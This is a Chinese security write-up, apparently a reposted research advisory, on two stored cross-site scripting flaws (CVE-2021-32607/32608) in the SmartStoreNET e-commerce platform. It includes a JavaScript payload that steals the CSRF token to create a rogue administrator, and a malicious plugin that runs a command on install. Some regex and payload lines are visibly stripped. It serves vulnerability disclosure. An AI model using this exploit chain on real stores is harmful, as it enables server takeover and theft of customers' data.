SmartStoreNET中的跨站脚本漏洞

admin 2021年12月10日10:00:50评论162 views字数 3922阅读13分4秒阅读模式
SmartStoreNET中的跨站脚本漏洞点击上方蓝字关注我们


SmartStoreNET中的跨站脚本漏洞


SmartStoreNET是领先的.NET开源电子商务平台,适用于运行Windows Server的公司。除了在线业务的运营之外,它还提供了许多的高级功能,例如CRM工具、博客和论坛。最近,研究人员发现SmartStoreNET中存在个跨站脚本漏洞(CVE-2021-32607CVE-2021-32608),攻击者可以通过向管理员发送一条恶意消息来控制安装SmartStoreNET的服务器。本文中将分析两个跨站点脚本漏洞存在的根本,然后描述攻击者如何对其进行利用。


影响


CVE-2021-32607和CVE-2021-32608影响了SmartStoreNET的最新版本4.1.1。组合利用这两个跨站脚本漏洞的攻击者,可以在受害者不知情的情况下使用受害者的一组权限执行操作。对管理员的成功攻击可能导致电子商务商店的入侵,以及截获金融交易和个人数据。当受害者浏览由攻击者特制的恶意论坛帖子或私人消息时将触发漏洞,以下视频显示了漏洞利用的步骤:



技术分析


存储型跨站脚本漏洞(CVE-2021-32607、CVE-2021-32608)

SmartStore提供了一个公共论坛,所有注册会员都可以在这里交换帖子和私信。在这些文本中,用户可以使用基本的BBcode标记为其消息添加有限的样式。BBcode 由SmartStore.Core.Html.BBCodeHelper 
(src/Libraries/SmartStore.Core/Html/BBCodeHelper.cs)使用正则表达式进行翻译。例如,在处理用户消息后,在SmartStore.Services.Forums.ForumExtensions(src/Libraries/SmartStore.Services/Forums/ForumExtensions.cs)中调用此帮助程序:


public static string FormatPrivateMessageText(this PrivateMessage message){   // [...]   var text = message.Text;   // [...]   text = HtmlUtils.ConvertPlainTextToHtml(text.HtmlEncode());   return BBCodeHelper.ToHtml(text);}


HtmlEncode()的调用只是System.Web.HttpUtility.HtmlEncode()的封装。其目的是将危险字符编码为其等效的HTML实体,以防止部分用户消息被解释为HTML标记。例如,<将被编码为&ltHtmlUtils.ConvertPlainTextToHtml()不负责任何安全敏感操作,它仅替换空格和新行以保持格式不变。

请注意,在BBCode处理过程中,标注[1]处带参数的标签(
),将在标注[2]不带参数的标签(
)之前处理

private static readonly Regex regexUrl1 = new Regex(@"
"
, RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static readonly Regex regexUrl2 = new Regex(@"
"
, RegexOptions.Compiled | RegexOptions.IgnoreCase);
// [...]if (replaceUrl){ // format the url tags:
// becomes: <a href="http://www.smartstore.com">my site</a> text = regexUrl1.Replace(text, "<a href="$1" rel="nofollow">$2</a>"); // [1] // format the url tags:
// becomes: <a href="http://www.smartstore.com">http://www.smartstore.com</a> text = regexUrl2.Replace(text, "<a href="$1" rel="nofollow">$1</a>"); // [2]}


由于之前的编码步骤,用户无法使用引号转义href属性,但在不带参数的URL标记中使用带参数的URL标记会产生意外结果。下图显示了包含纠结的

SmartStoreNET中的跨站脚本漏洞

应用第二次替换时,第一步创建的非编码引号将关闭第二个正则表达式的href属性。一旦被浏览器处理,最终的DOM将如下所示,注意在第一个<a>标签中存在新的、用户控制的属性:

SmartStoreNET中的跨站脚本漏洞

这种行为足以向第一个<a>标签添加任意属性,从而通过论坛帖子和私人消息实现持久的跨站脚本攻击。

创建跨站点脚本载荷

研究人员制作了一个有效载荷来验证漏洞的影响,该有效载荷将在受害者打开一条私人消息后立即强制创建一个新的管理员,而无需进一步交互。然后,该恶意管理员将能够使用插件页面在服务器上,上传恶意NuGet包(*.nupkg) 以执行任意代码。最终的有效载荷如下所示:


[/url]


然后,自动创建管理员是一个纯前端开发任务:攻击者只需要获取CSRF token,然后向/admin/customer/create端点执行POST请求:


async function run(){   const customer_create_url = location.protocol + '//host.tld/admin/customer/create';   let res = await fetch(customer_create_url, {credentials: 'include'});   var parser = new DOMParser();   var htmlDoc = parser.parseFromString(await res.text(), 'text/html');   let csrf = htmlDoc.getElementsByName('__RequestVerificationToken');   data = {       save: 'save',       __RequestVerificationToken: csrf[0].attributes.value.nodeValue,       Id: 0,       Username: 'evil_admin',       Email: '[email protected]',       Password: 'evil_admin',       Gender: 'M',       FirstName: 'evil',       LastName: 'evil',       DateOfBirth: '5/1/2021',       Company: 'evil',       AdminComment: 'evil',       SelectedCustomerRoleIds: 1,       IsTaxExempt: false,       Active: true,       LoadedTabs: '#customer-edit-1'   }   let body = new URLSearchParams();   Object.keys(data).map(k => body.append(k, data[k]));   body.append('SelectedCustomerRoleIds', 3);   let foo = await fetch(customer_create_url, {method: 'POST', body: body, credentials: 'include'});} run()


只要响应中存在正确的CORS标头,该有效载荷就可以托管在任何地方。


执行任意代码


SmartStoreNET可以使用官方和第三方插件进行扩展。它们没有“官方”商店,也没有强制性的代码签名,用户可以制作恶意软件包并直接从管理仪表板上传。


SmartStoreNET中的跨站脚本漏洞


为了验证这一想法,并尝试模拟攻击者的实际操作,研究人员制作了一个 SmartStoreNET插件,该插件将在安装过程中执行命令calc.exe。然后研究人员使用正确的.NET目标对其进行编译,并使用SmartStoreNET的工具将其打包。


using SmartStore.Core.Plugins;// [...]namespace SmartStore.Evil{   public class Evil : BasePlugin   {       // [...]       public static string SystemName => "SmartStore.Evil";       // [...]       public override void Install()       {           System.Diagnostics.Process p = System.Diagnostics.Process.Start("calc.exe");           p.WaitForInputIdle();           base.Install();       }       // [...]   }}


如视频末尾所示,这会授予攻击者以运行IIS的用户权限执行任意代码。

SmartStoreNET中的跨站脚本漏洞

END



SmartStoreNET中的跨站脚本漏洞


好文!必须在看

原文始发于微信公众号(SecTr安全团队):SmartStoreNET中的跨站脚本漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin